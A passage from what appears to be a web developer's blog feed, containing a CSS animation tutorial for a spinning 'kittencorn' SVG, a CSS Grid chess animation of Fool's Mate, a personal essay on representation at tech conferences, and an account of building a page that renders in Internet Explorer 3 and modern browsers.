Before animating anything, we must lay out all the things. Remember this was supposed to be a screen capture to begin with? So there's nothing else on the page other than what you saw in the above sketch. Which makes it so much easier to position it right smack on the centre of the page.

html {
  box-sizing: border-box;
  height: 100%;
}

*,
*::before,
*::after {
  box-sizing: inherit;
  margin: 0;
  padding: 0;
}

body {
  display: flex;
  height: 100%;
  font-family: "Lemon", cursive;
}

These are pretty much my standard reset styles nowadays. May not work for you, but works out great for me. If you don't want to do the height: 100% thing on multiple elements, it's perfectly fine to chuck a height: 100vh on the <body> element instead.

div {
  display: grid;
  grid-template-columns: max-content max-content;
  gap: 1em;
  align-items: center;
  margin: auto;
  position: relative;
  cursor: pointer;
}

All 3 bits to be animated are wrapped in a single <div>, which will have an id of magic for the tiny bit of JavaScript to be sprinkled on at the end. What do you do when you have a single item that needs to be centred in its parent? Auto-margins, that's what.

And since we were already set up with a parent-child relationship for the 3 animatable bits, rather than fiddle around with inline-block and vertical alignment, or flex and the browser doing its own sizing thing, I went with grid to place them instead. Content-based sizing is cool, yo.

.kittencorn {
  height: 50vmin;
}

.rainbow {
  fill: #a3e048;
}

If you're using SVGs that use viewBox over explicitly set width and height values, make sure you set a height on the SVG with CSS. Also, I went with setting the default fill colour of my kittencorn in CSS instead of on the SVG itself, but you can always put the fill in the SVG itself.

p {
  font-size: calc(1.5em + 7vmin);
  writing-mode: vertical-rl;
  text-orientation: upright;
  text-transform: uppercase;
  overflow: hidden;
  height: 0;
}

The overflow and height: 0 thing on the text is a set up for the letters to appear in the later animation. My original plan was to make each letter materialise 1 by 1, with the opacity property, but that would have required animating each letter individually.

It's definitely do-able, but I had to wrap each letter of the word “Magic“ in its own span. In the end, I built both versions so you can see how either implementation works. Animating each letter individually also meant more timings to take care of.

The lazy version involved animating the height of the p element from 0 to 100% so it looked like the text was flowing in from somewhere.

.sparkle {
  position: absolute;
  opacity: 0;
  top: 25%;
  right: 35%;
  height: 2em;
}

Lastly, the sparkle. I wanted it on the kittencorn itself, so position: absolute was the way to go in this case. Just remember to set position: relative on the direct parent otherwise its going to be positioned relative to the whole page instead.

Let's make it magical

It was going to be 3 animations happening sequentially. But the thing about chaining animations is that momentary tiny pause or a momentary overlap between animations that makes it feel quite different. I'm not an expert in animation so I don't know the scientific explanation for this. Don't quote me.

As with all my unprofessional endeavours, I just tweaked the timing until it felt right. Especially for the alternate implementation which involved animating each letter of the word “Magic”. Anyway, keyframe time!

The colour change involves animating the SVG's fill property through a series of rainbow colours.

@keyframes rainbow {
  0% {
    fill: #a3e048;
  }
  14.3% {
    fill: #f7d038;
  }
  28.6% {
    fill: #eb7532;
  }
  42.9% {
    fill: #e6261f;
  }
  57.2% {
    fill: #49da9a;
  }
  71.5% {
    fill: #34bbe6;
  }
  85.8% {
    fill: #4355db;
  }
  100% {
    fill: #d23be7;
  }
}

The spin is a rotation transform. I tried doing a single spin with 2 iteration counts, but it wasn't smooth. A double spin of 720 degrees run once was much better.

@keyframes spin {
  100% {
    transform: rotate(720deg);
  }
}

This bit is for the text. The keyframes are straight-forward, it was the timings which needed a bit more effort.

@keyframes type {
  0% {
    height: 0;
  }
  100% {
    height: 100%;
  }
}

/* This is the alternate version for individual letters */
@keyframes type {
  0% {
    opacity: 0;
  }
  100% {
    opacity: 1;
  }
}

Again, a double rotation for the sparkle, but also a bit of a scaling effect, for good measure. When using multiple transforms on a single element (or keyframe), remember to put them all in the same transform property.

@keyframes sparkle {
  0% {
    opacity: 0;
    transform: rotate(0deg) scale(0);
  }
  50% {
    opacity: 1;
    transform: rotate(360deg) scale(1.3);
  }
  100% {
    opacity: 0;
    transform: rotate(720deg) scale(0);
  }
}

Not sure if you really went through each of the animation properties, but some of them are required for my idea to work as I imagined.

.animate {
  .kittencorn {
    animation: spin 2s;
  }

  .rainbow {
    animation: rainbow 2s;
    animation-fill-mode: forwards;
  }

  p {
    animation: type 1s linear;
    animation-delay: 1.9s;
    animation-fill-mode: forwards;
  }

  .sparkle {
    animation: sparkle 2s;
    animation-delay: 3.3s;
    animation-fill-mode: forwards;
  }
}

Because I wanted the ending keyframe to persist, animation-fill-mode was set to forwards for all the animations. Not necessary for spin because the start and end position is exactly the same. The rest of it was manually tweaking the animation-delay until I got the feeling I was looking for.

Here's the alternate version of the text animation:

span:first-child {
  animation: type 1s linear;
  animation-delay: 1.9s;
  animation-fill-mode: forwards;
}

span:nth-child(2) {
  animation: type 1s linear;
  animation-delay: 2.5s;
  animation-fill-mode: forwards;
}

span:nth-child(3) {
  animation: type 1s linear;
  animation-delay: 3.1s;
  animation-fill-mode: forwards;
}

span:nth-child(4) {
  animation: type 1s linear;
  animation-delay: 3.7s;
  animation-fill-mode: forwards;
}

span:nth-child(5) {
  animation: type 1s linear;
  animation-delay: 4.3s;
  animation-fill-mode: forwards;
}

If you want to see the code for yourself or modify it to do other things, here's the Codepens for both. The first one is the animate-height-of-text version and the second one is the fade-in-each-letter version.

See the Pen Magical kittencorn by Chen Hui Jing (@huijing) on CodePen.

See the Pen Magical kittencorn (alternate) by Chen Hui Jing (@huijing) on CodePen.

There's also a full page no Codepen demo version, and source code on GitHub.

So you want to restart your animation

While I was building out the whole thing, because my setup was browser-sync-ified, every time I hit “save”, the animation triggered itself. But I soon realised it was probably a good idea to allow people to restart the animation somehow.

Chris Coyier had me covered with his 8-year-old article, Restart CSS animation. The code is not complicated, it's about adding and removing a CSS class, but there is a magic line in there.

const magic = document.getElementById("magic");

// Technique from CSS Tricks article, Restart CSS Animation (https://css-tricks.com/restart-css-animation)
magic.addEventListener(
  "click",
  function (e) {
    e.preventDefault;
    magic.classList.remove("animate");

    // This is the magic line
    void magic.offsetWidth;

    magic.classList.add("animate");
  },
  false
);

Anyway, people can now click on the kittencorn to restart the animation. Because you can't just let it run once, right?

In case the CodePens don't load or something, here's the end result for both.

Spin clockwise…

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Spin anti-clockwise…

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Wrapping up

Thank you for sitting through another edition of Hui Jing does useless things. This useless thing was quite fun to do though. And maybe you learned a little bit about how CSS animations work as well.

I want to take this opportunity to highlight a new meetup in town run by Wei called React Knowledgeable AKA <RK⚡️ />.

It's going to be a lightning talk series of 4–5 lightning talks each meetup with a networking break in between. Read the origin story to find out more. And submit a talk if you feel like it.

CSS kittencorn's kid sibling is kind of the unofficial mascot for <RK⚡️ />, I think? Go ask Wei about it. ¯\_(ツ)_/¯

So if you happen to be in Singapore during the first week of any month, drop by Talk.CSS or React Knowledgeable and come see the kids. The meetups will be at least not bad. This is an official Hui Jing guarantee.

Resources

Recreating the Fool's Mate chess move with CSS Grid

Sat, 13 Jul 2019 00:00:00 GMT

When Firefox 66 was released, one of the features that got myself and a couple other layout enthusiasts really excited was the ability to animate grid rows and columns (in addition to grid gaps) when using CSS Grid. It had always been written in the specification, but it took some time for browsers to implement it.

I wrote an introductory post on the Bits blog earlier but still had more to explore. That article links to as many animation demos as I could find, but the one that I kept thinking about was the DVD logo by Andrew Harvard.

See the Pen The DVD Logo (css grid animation) by Andrew Harvard (@aharvard) on CodePen.

My preferred method of figuring out exactly how the demo worked was to observe it with Firefox DevTools. And it blew my mind. Go ahead, try it for yourself, I'll wait. As long as you're using Firefox 66 or later, the logo should be bouncing around the embed.

Okay, for those of you who chose not to try it out yourself for any reason, you can play the video below and see what's actually powering the bouncing DVD logo.

Animate all together now…

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

I'm not a DevTools engineer, but I expect that it took effort to ensure the Grid inspector fully supported the animation of grid rows and columns, which meant when line numbers were toggled, they too were being animated.

What the DVD logo taught me

For me, when I first saw the animation without inspecting, my first thought was that the grid item was being animated across the grid. But that is not what is going on. At least, not directly. In a sense, the grid item is being animated but not in the way I thought it was.

That's how I thought it worked (spoiler: it's not)

What is being animated is the grid row or column. That's why we had that cool effect with the DevTools (it was cool to me, I don't know about you…) but that also meant that you had to distort your grid to animate stuff within it.

This is what actually can get animated

One of my favourite analogies to use when talking about how CSS grid is a game-changer for web layout is by comparing placement of grid items like placing pieces on a chessboard. So my next idea was to create a chessboard where the pieces could be animated across the board.

But I realised the challenge once I figured out how animation of grid items really worked. I couldn't maintain a regular chessboard AND move chess pieces at the same time.

So you need to move some stuff around

If you're expecting some really smart solution to this problem, I'm sorry to disappoint but my solution is the most un-smart of all. Each piece that needed to move was in its own grid, and all the grids were stacked on top of each other with positioning.

It's all a scam, friends.

But it works, so there.

So Fool's Mate is also known as the Two-Move Checkmate in chess. According to Wikipedia:

Fool's Mate received its name because it can only occur if White commits an extraordinary blunder.

The opening move by White is f3, then Black responds with g4, then White goes g4 and Black does Qh4 and it's all over. There are variations of this but I went with the default one on Wikipedia. And I chose Fool's Mate to begin with because it only involved a total of 4 moves to animate. ¯\_(ツ)_/¯

Creating the chess board

Let's talk about the chess board though, because I still kinda like how that turned out. I went with a board configuration where Black is on top and White is at the bottom. I'm guessing that most people would firstly think about creating 64 grid items for each square on the board.

But I wanted to get away with less markup. So instead of doing that, I only created 28 grid items to be my static chess pieces and instead applied a linear-gradient on the grid container to generate the requisite checkerboard pattern.

Also, there is emoji support for every chess piece. Emoji chess for me, thanks.

<div class="grid board">
  <div class="grid__item piece">♜</div>
  <div class="grid__item piece">♞</div>
  <div class="grid__item piece">♝</div>
  <div class="grid__item piece">♚</div>
  <div class="grid__item piece">♝</div>
  <div class="grid__item piece">♞</div>
  <div class="grid__item piece">♜</div>
  <div class="grid__item piece">♟</div>
  <div class="grid__item piece">♟</div>
  <div class="grid__item piece">♟</div>
  <div class="grid__item piece">♟</div>
  <div class="grid__item piece">♟</div>
  <div class="grid__item piece">♟</div>
  <div class="grid__item piece">♟</div>
  <div class="grid__item piece row7">♙</div>
  <div class="grid__item piece row7">♙</div>
  <div class="grid__item piece row7">♙</div>
  <div class="grid__item piece row7">♙</div>
  <div class="grid__item piece row7">♙</div>
  <div class="grid__item piece row7">♙</div>
  <div class="grid__item piece row8">♖</div>
  <div class="grid__item piece row8">♘</div>
  <div class="grid__item piece row8">♗</div>
  <div class="grid__item piece row8">♕</div>
  <div class="grid__item piece row8">♔</div>
  <div class="grid__item piece row8">♗</div>
  <div class="grid__item piece row8">♘</div>
  <div class="grid__item piece row8">♖</div>
</div>

As for the actual checkerboard, here's how it was generated. Works pretty well, but the only thing is depending on the size of the viewport, you might see a very faint white diagonal gap across some of the darker coloured squares.

.board {
  background-color: #eee;
  background-image: linear-gradient(
      45deg,
      #d18b47 25%,
      transparent 25%,
      transparent 75%,
      #d18b47 75%,
      #d18b47
    ), linear-gradient(45deg, #d18b47 25%, transparent 25%, transparent 75%, #d18b47 75%, #d18b47);
  background-size: 24vmin 24vmin;
  background-position: 0 0, 12vmin 12vmin;
  width: 96vmin;
  height: 96vmin;
  margin: auto;
}

Let's break down this block of CSS, shall we? Applying that linear gradient on a square <div> on its own gives you something like this. Because we are applying hard stops at a 45 degree angle. I've also declared 2 exactly the same linear gradients, but there's a reason for that. You'll see.

Next, we have the background-size property. Background properties I find a lot of fun because they usually have many different syntaxes. In this case, you can use keywords, a 1-value syntax, a 2-value syntax, multiple backgrounds (using commas) and global values. Fun, right?

One thing to remember is that ALL CSS properties that a browser supports will have a default value applied if you don't explicitly declare it. The default value for background-repeat is repeat.

Anyhow, by setting the background size to a quarter of width and height of the main <div>, I end up with a 4 x 4 repeated pattern. You'd get the same effect by setting the value to 25% 25%.

Maybe some of you can see where this is going, but the next step is to position the triangular shapes in a manner that they combine to form squares. background-position also does the 1-value or 2-value syntax thing. Here's where the second linear gradient comes in.

background-position can be applied to multiple backgrounds by matching them up accordingly with commas. So the first set of values 0, 0 is for the first linear gradient, and the second set of value 12vmin 12vmin is for the second linear gradient.

So what we are doing is pushing the second linear gradient down and right so the triangles meet up and form squares. For my example, I'm using the length value of 12vmin but you'd get the same effect by using 50% as well.

Placing the chess pieces

You might be wondering about my choice of CSS classes for the chess pieces. I had a previous experiment involving lots of grid items with gaps in between them and learned that you don't necessarily have to explicitly place every grid item.

What I want here is to have the grid match up to the background of my grid container, and that's why I chose to use viewport units instead of percentages. So my grid rows and columns look like this, where the values match up to the background size:

.board {
  display: grid;
  grid-template-columns: repeat(8, 12vmin);
  grid-template-rows: repeat(8, 12vmin);
}

Out of the 32 chess pieces, 28 are static. But I have to take into account gaps for the pieces that need to be animated.

.board .piece:nth-child(4) {
  grid-column: 5;
}
.board .piece:nth-child(12) {
  grid-column: 6;
}
.board .piece:nth-child(20) {
  grid-column: 8;
}
.row7 {
  grid-row: 7;
}
.row8 {
  grid-row: 8;
}

Because of auto-placement, I can “push” the grid items forward by explicitly placing the King (4th child) on column 5, the pawn on f7 (12th child) on column 6 and the pawn on h2 (20th child) on column 8.

But all of White is at the bottom of the grid, so we have .row7 class to push all the White pawns onto row 7 and the .row8 class to push the White non-pawns onto row 8.

Animating the 4 moves

Image source

The moving pieces for Black are the Queen, which is on the first row, and the pawn at e7, which is on the second row. For White, the pieces are on rows 7 and 8 of my chessboard grid. And the moving pieces are the pawns at f2 and g2.

Remember the DVD demo? So each move will be a singular piece in its own grid. For example, this is the code for the Black Queen.

.move1 {
  grid-template-columns: 72vmin 1fr;
  grid-template-rows: 84vmin 1fr;
  transition: grid-template-rows 0.5s linear;
}

.move1.active {
  grid-template-rows: 72vmin 1fr;
}

I went with transitions instead of keyframes because my piece was just making 1 move. The DVD logo uses keyframes because it's a continuous animation. Right tool for the right job, no?

There is JavaScript involved here because I wanted to make it kind of sort of interactive where people can click on a button to move the next piece.

It's only 4 moves, so I figured it wouldn't be too hard. Needed a counter to track the start and end of the moves, but other than that, it was adding and removing CSS classes.

const prevBtn = document.getElementById("prev");
const nextBtn = document.getElementById("next");

let moves = 0;

prevBtn.addEventListener("click", prevHandler, false);
nextBtn.addEventListener("click", nextHandler, false);

function nextHandler() {
  if (moves < 4) {
    countUp();
    addActive(moves);
    console.log(moves);
  } else {
    console.log("Already checkmate");
  }
}

function prevHandler() {
  if (moves > 0) {
    removeActive(moves);
    countDown();
    console.log(moves);
  } else {
    console.log("Back to the start");
  }
}

function addActive(moves) {
  const activeMove = document.querySelector(".move" + moves);
  activeMove.classList.add("active");
}

function removeActive(moves) {
  const activeMove = document.querySelector(".move" + moves);
  activeMove.classList.remove("active");
}

function countUp() {
  return moves++;
}

function countDown() {
  return moves--;
}

Wrapping up

Here's the whole thing on CodePen if you want to see exactly how everything comes together.

See the Pen CSS Fool's Mate by Chen Hui Jing (@huijing) on CodePen.

If you found this interesting, maybe give it a try as well? I'm really curious to see what other things can be designed and built with this behaviour, so feel free to ping me with your creation. I also want to shout out Christopher Powroznik for creating the One HTML Page Challenge.

I've put up this Fool's Mate demo on there, but there's so much more that can be done in 1 single page. It's pretty fun to build stuff without external dependencies for a change.

The importance of representation

Wed, 10 Jul 2019 00:00:00 GMT

It's almost coming up to 10 years since I deployed my first website onto the internet (it doesn't exist anymore either). In terms of being formally employed as a developer, that's much more recent, and I'm almost at the 6 year mark for that.

But until I got the chance to travel to tech conferences, I didn't really think about representation. Attending conferences wasn't even something that really crossed my mind, because a) they were mostly happening in far-away countries, and b) I could just watch videos online, right?

That changed in 2014 when I attended not 1, but 2 web conferences, Form, Function & Class 5 in Manila, and CSSConf.Asia 2014 in Singapore. I realised that physically being at a conference was very different from watching videos at home.

I was, and still am, a cheap Asian stereotype, so I started scheming ways to get to conferences without having to pay for them. Volunteering was a good start, which led to hosting, and eventually I ended up speaking at conferences as well.

The environment I grew up in and all my past experiences shape my thoughts and opinions right now. This also means my thoughts and opinions have changed from the past, and will continue to change as time moves forward. You may or may not agree with me, and that's perfectly fine.

I'm a fairly pessimistic person, in that I tend to hold on to the negative things more than the positive. The only thing I have going for me is that I'm aware I do this. Unfortunately, my rational brain can never seem to override how I feel at any time.

Sub-conscious double standards

This is a broad generalisation, but when I was still playing basketball with the Malaysia women's national team back in the day, I felt that locals sort of looked down on our own athletes. That there was a lack of faith that we could do well. I'm not sure if other athletes feel the same way, but to me, there were a large number of fair-weather fans who only showed support when our sports teams did well.

But even before that, when I was much younger, I always felt that I needed to do well to justify myself. I can't pinpoint exactly why that was the case. Maybe this was how most Asian families operated with their kids? I did do reasonably well in school but I never had faith that if I didn't, it would be okay.

My grandmother pretty much brought me up because both my parents were working. And she was always worried that I was jeopardising my future to play basketball. Even though I'd call home and tell her what was going on, I never asked her to watch me play because I didn't think I was good enough yet.

She passed away while I was playing in the Malaysia National Basketball League. Two weeks later, I won my first “Most Valuable Player” award. I can only imagine that maybe, I was good enough for her, and she would have been proud of me after all.

But my point here is, I never had faith. Never had faith that people would be supportive simply because of who I am, only of what I could do. And you're only as good as the last thing you did, right?

I wasn't even aware that I was the one looking down on myself.

“We came to see you…”

In 2017, I had the opportunity to be part of the speaker line-up for the Mozilla Developer Asia Roadshow. But I was a literal no-name who had only 2 talks to her name among a star-studded line-up of well-known personalities.

The Roadshow covered 5 cities, of which 3 I claimed as home. Singapore, because I was based there. Kuala Lumpur, because I spent 8 years of my youth there. Penang, because I was born there. I was nervous as hell for the Singapore leg because I was sandwiched between Jeremy Keith and Vitaly Friedman.

But talking about CSS somehow makes everything fine, so I thought I did okay. I just felt that people came out to see the famous white guys. I was just happy and grateful to be there for the experience, to be honest.

When I opened in Kuala Lumpur, I said “Saya bangga jadi anak Malaysia”, which translates to I am proud to be Malaysian, something I believe with every fibre of my being. To my amazement, I received the warmest applause from the audience. It was a warm, fuzzy feeling.

The kicker was at the Penang stop. I had weaved in 「我是庇能出世的孩子」(spoken in Penang Hokkien and translates to “I was born in Penang”) into my introduction. After my talk, I got the chance to chat with many lovely Penangites and one of them told me, they didn't know who these white guys were.

They had come to see me.

Our perspectives add value

I think those stories said more about me and my myriad of issues than the actual local community, but it did change my perception on things. That the local community did want to see one of our own on stage. And they felt that we too have something valuable to say.

This is something I believe in now. Enough to end up proposing an impromptu lightning talk at DevRelCon Tokyo earlier this year. There are some things that will stay with me, probably for the rest of my life, like the feeling of, what I’m doing isn’t that great, or who am I to stand in front of other people, like yourselves, and talk about what I do?

I have been incredibly fortunate to have met and become friends with outspoken and opinionated women in tech like Sareh Heidari, Jen Simmons, Tatiana Mac and Kim Crayton amongst many others. And through my various conversations and interactions with them, I've realised how important it is to make sure diversity of thought is heard in our industry.

I secretly refer to Thai as “my favourite Thai boy”. shhhh…don't tell anyone

JSConf.Asia just wrapped up a couple weeks ago, and Thai Pangsakulyanont, who is an amazing Thai speaker that we managed to snag two years in a row, pulled more than 6.5K views from Thailand in just 1 week. Zain Fathoni's talk video also got loads more traffic from Indonesia than any other region.

Wrapping up

It is high time that those of us outside of North America and Western Europe start sharing our perspectives. All our different perspectives.

Because even though it is not something that most of us are naturally conditioned to do, there is value in contributing our perspectives to the world. For us to make our voices heard, and bring a greater awareness of the situations and contexts that we operate in.

More than that, I've started to really believe that it matters for people from my region, people who share my background, people who look like me, see someone they can relate to doing well on an international stage.

And hopefully this inspires them to believe that they too have something valuable to share.

Internet Explorer 3, an adventure in cross-browser compatibility

Wed, 03 Jul 2019 00:00:00 GMT

Some of you might know that I run the CSS meetup, Talk.CSS in Singapore together with my best mate, Wei. If you didn't, you do now. Perhaps you have inferred that I really do love CSS. But you know what else I love? The 90s. More specifically, computing in the 90s.

I wrote about this before, on how the first computer I remember was a 486 in my living room and how I spent hours playing computer games running on MS-DOS and Windows 3.1. So it was inevitable that I would get on real well with Kheng Meng, retro computing enthusiast and co-organiser of the Hackware meetup.

We had worked together before at the inaugural Super Silly Hackathon back in 2017 and found out that we made a pretty good team. Being a hardware man and not really a web developer, I've never had good reason to get Kheng Meng to come for Talk.CSS.

That changed when I had another one of my many hare-brained schemes. Knowing that Kheng Meng was fully capable of setting up a working version of Windows 3.1, complete with networking capabilities and whatever applicable software I wanted, I asked him to set me up with an original version of Internet Explorer 3.

Why Internet Explorer 3

Internet Explorer 3 was released on August 13, 1996 and shipped with Windows 95 OSR 2. This was pretty much the era of the first browser wars. IE3 is notable for being the first commercial browser that supported Cascading Stylesheets (CSS).

It was also a major upgrade from IE2, which was essentially built on the Spyglass Mosaic source code. There were still portions of Spyglass code in Internet Explorer at this point. This was also when JScript (Microsoft's implementation of JavaScript) was first supported.

Source: Holy Browser Wars!

Of course, the term “supports“ is a fairly subjective term as I would soon learn. I don't actually use any JScript or JavaScript in this experiment, but maybe a future iteration will, though I'm not sure if it'll be quite as fun for me.

Self-imposed requirements

The point of this experiment was to build a website on a single codebase that still looks decent on any browser. To be fair, “any“ is a pretty tall order, and so is “decent”, so I put out the disclaimer that this experiment would either end up being spectacular, or fail spectacularly.

Regardless of end result, I figured it'd be a relatively amusing talk to do at Talk.CSS #39, and the only shot I had of getting a non-web developer, hardware guy like Kheng Meng to come to the CSS meetup.

Note that there is no desire to make the website look the same in every browser, because that's missing the point. Personally, I find it fascinating that a single codebase can give you different results in different browsers. I can literally feel the disdain from functional programming aficionados everywhere.

You say bug, I say feature. Be like water, as Bruce Lee says. Applies to web design, IMHO.

Hardware and sysadmin stuff

Kheng Meng had done this back in 2016 for the Hackware meetup, and that's where I met him properly for the first time. So I was certain that I'd have a working copy of the original Windows 3.11 with networking capabilities on hand.

All I needed was for him to install me a copy of Internet Explorer 3. He also never thought he'd see the words “very advanced” used when referring to Internet Explorer 5 in 2019.

Given that we were presenting at Talk.CSS, where all talks would be recorded, the AV setup was a tad more complicated than normal. Just a tad. What's a few more machines and cables, right?

Contributing to the mess of cables was the not-so-straightforward problem of getting the machine connected to the Internet. The initial attempt of doing it via a PCMCIA/Cardbus network adapter failed because the IBM's Cardbus slot DOS drivers did not work.

Time for Plan B. In this case, a Parallel Port network adapter (we used a Xircom Pocket Ethernet PE3-10BT) connected to a Wifi-Ethernet bridge. Sprinkle on some manual DNS configuration and voila, the magic of the Internet.

There was also the issue of protocols. Even though IE3 supported HTTPS, it uses SSL3, which is sort of a deprecated protocol given its security issues. Anyway, rather than deal with all that certificate stuff, I went with HTTP and hosted my pages on Surge, where HTTPS is opt-in and not forced.

Although I refused to check my actual project page on IE3 until the meetup itself, I did throw up a test page just to make sure things could load. It wasn't pretty, but things worked. In addition to IE3, Kheng Meng tossed in Netscape Navigator 4.08 and Opera 3.62, making it a 90s browser exhibition.

The process

To be fair, Kheng Meng did offer to loan me the actual machine for testing purposes but because I specialise in doing things that sound like a good idea at the time (except they're really not), I turned him down. It would be like a Code in the Dark, except without the shitty EDM music and the stress of a countdown.

As an aside, little did I know I would end up hosting the Code in the Dark session for JSConf.Asia. It had been a long day, I got snarky near the end. Ask me about it, if you want.

Remember that I wanted a single codebase that would function for the latest Nightly builds all the way back to the browsers of '96. So there was some planning involved, for the design and the resultant markup. I was thinking, nothing too fancy, just a single web page about the project and Internet Explorer 3.

But I also wanted to use modern CSS effects for the new browsers, like gradients, blend modes and layout models like grid. The challenge was to spruce up the IE3 version as much as I could with what limited CSS was available.

Thinking about markup

Trust me when I say I almost succumbed to the wiles of HTML tables when dealing with this project. And to be fair, if you look at the code, I did use a couple HTML tables, simply to test out how I could use modern CSS to modify it.

It's definitely not best practice to do it this way, I reckon, but that's why this is an EXPERIMENT. One of the things I had to figure out was how the browser would react to unsupported HTML elements. My assumption was they'd simply be ignored.

According to the specification,

…authors could always use non-standard elements in their documents, with application-specific behavior added after the fact by scripting or similar…

After the fact, I learned that the reason HTML5 Shiv existed was to deal with legacy versions of Internet Explorer back till IE6. John Resig explained that IE doesn't know how to render CSS on elements that it doesn't recognise.

Upon some digging, I found this post by Sjoerd Vissche which explained if you want CSS rules to apply to unknown elements, using

document.createElement(elementName);

would let the CSS engine know about this element.

Update:
Nicholas Stimpson has kindly pointed out that document.createElement(elementName) changes the HTML parser to recognise the element and add it into the browser's internal object model.
The fact that the CSS worked on the elements was a consequence of the parsing change. The significant difference being that JS is also able to manipulate the elements created.

For my case, I'm happy for the legacy browsers to ignore the modern elements so I can leave them alone for the baseline version of the web page.

There was a failed bit of markup involving conditional comments for IE, which I'm wondering if it's because I'm using it for the audio tag or what, but I had to CSS hack that bit instead.

&lt;!--[if !IE]> --> &lt;audio controls class="annoying"> &lt;source src="audio/tetoroika.mp3"
type="audio/mpeg"> &lt;/audio> &lt;!--
<![endif]-->

I still like checking to see how the site looks in Lynx though.

Thinking about CSS

Now this was the meat of the project. The first version of CSS didn't give us much to play with. But if that was all there was, life would have been easy.

No, turns out when IE3 claims to support CSS1, they are using that term rather loosely. Even the W3C had additional information explaining the “holes in the CSS implementation”.

Braden N. McDaniel published a full reference for authors who wanted to use CSS on their own web pages to be viewed with IE3, because it was truly a hole-y implementation.

Apparently there was a version of IE3 for the Macintosh as well, and Eric Meyer wrote up a similar document listing which properties are supported and which are not.

Some of the missing functionality includes:

em values (i.e. length units relative to a font size) are not supported. This is important in order to write style sheets that scale from one resolution to another.
There is no documented way for users to supply their personal style sheets.
margin (the compound property) and margin-bottom are not supported
the padding properties are not supported
the border properties are not supported
pseudo-elements are not supported (but pseudo-classes are!)

I also love the bugs like these:

Line spacing is also added to the last line of a formatted element – that’s why there is so much space around the headlines. Spacing should only be added between lines
vertical spacing sometimes act weird after lists

Given these constraints, I chose not to go too crazy and went with a conservative single page design divided up into sections. With <hr> elements. Vanilla is also a flavour, my friends.

Code overview

The whole thing is on GitHub if you want to take a look. And I'll just go through some bits that may or may not be interesting. I did not have high hopes for this project, as you can see from some of my commit messages. ¯\_(ツ)_/¯

Baseline styles

body {
  color: white;
}

table {
  text-align: center;
  width: 100%;
}

td p,
td li {
  width: 100%;
}

h1 {
  color: purple;
  text-align: center;
}

h2 {
  color: black;
}

img {
  text-align: center;
}

a {
  color: yellow;
}
a:visited {
  color: silver;
}

p,
li {
  font-size: 120%;
  width: 640px;
  margin: 0 auto;
  text-align: left;
}

p span {
  text-align: right;
  color: green;
  font-size: smaller;
}

section > div {
  text-align: center;
}

footer p {
  text-align: center;
}

As you can see, no CSS classes. Why not, you might be asking. Because according to the Support for Cascading Style Sheets, Level 1 article, “Class as a selector is supported”. But that wasn't the case for me.

Disclaimer, I did have a Windows 95 VirtualBox instance with IE3 installed, so maybe this isn't really building blind like you do Code in the Dark. Let's call it building with severe myopia.

No matter, a big reason why the design was so vanilla was because I did not want to resort to inline styles, as that would make the CSS for newer browsers really screwed up. Do not !important all the things. Please. Also, non-supported elements are automatically ignored by the browser (I think).

This next bit is because Internet Explorer evolved over the years and started getting better at actually supporting CSS, like the display property. Also, the audio element came into play by IE9. I had chose to include a <bgsound> tag as a joke, because if it didn't work, nobody would know.

It did.

<bgsound> is supported in EVERY version of IE. I had added the audio element for non-IE browsers to recreate some of that background music so many websites of the 90s tended to have. So for IE9–11, I wanted to hide it away and let <bgsound> work its magic.

@media \0screen\, screen\9 {
  .blend {
    display: none;
  }

  .lg-title {
    margin-top: 1em;
  }
}

@media screen and (min-width: 0\0) and (min-resolution: +72dpi) {
  .blend {
    display: none;
  }

  .lg-title {
    margin-top: 1em;
  }

  audio {
    display: none;
  }
}

Pretty much most of the rest of the code are wrapped up in feature queries. If you're familiar with the @supports rule, you might have come across this matrix in some form or another.

Uni-kitty © Jen Simmons

IE11 (and before) falls into the first quadrant when it comes to many of the newer CSS features. This is where you, as the web designer, have to make an executive decision that users of these “in-between” browsers will experience a slightly less fancy version of your website. I don't think that's a bad thing.

Each CSS feature and related styles are in their own @supports block, because I thought it'd be neater that way. These are just a couple to illustrate what I mean:

@supports (display: contents) {
  table,
  tbody {
    display: contents;
  }
}

@supports (animation-name: pulse) {
  .pulse {
    animation: pulse 3s ease-in-out infinite;
  }

  @keyframes pulse {
    50% {
      color: greenyellow;
    }
  }
}

The reason for display: contents was because I wanted to see how much I could un-table-ify HTML tables which were used for layout. Turns out, you sort of can, but again, generally bad practice, don't do it.

The unsightly reveal

And here we go. Kheng Meng had stole a peek before the event started and from his expression I knew the end result was BAD. But on the plus side, <bgsound> worked like a charm. So we kept it on and used it as a “heartbeat” to make sure the computer hadn't crashed.

The IE3 version looked TERRIBLE. 🤣 Okay, specifically the IE3 version on Windows 3.1 looked like a pile of poop. The Windows 95 VirtualBox version looked slightly better somehow. I need to research why that is.

Here's how the full page looks like for both versions:

An utter failure on Win3.1 IE3

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Not thaaat bad on Win95

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

The Netscape version did not fare much better. But the Opera version was surprisingly on par with the Windows 95 version. Sort of.

And the corresponding full pages:

Another pile of poo on Win3.1 Netscape Navigator

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Not thaaat bad on Opera though

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

And while we're at it, here's how it looks on IE11.

Oh yeah, background music…

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

And finally, the “modern browser edition”. It's just Firefox Nightly, tbh. You can pretty much see for yourself at http://ie3-challenge.surge.sh/. Feel free to play the background track with the audio element on the top right.

Wrapping up

If you made it till this part of the article, wow, thanks. Like, seriously. This project doesn't benefit your life in any way at all, so I appreciate your time.

Fun fact, on the day of the talk, my “modern” work computer, which is a 2017 13-inch MacBook Pro, literally died in the middle of the presentation. Twice. (╯°□°）╯︵ ┻━┻

The IBM Thinkpad 390e worked beautifully from start to finish.

A thank you and love letter to CSSConf EU

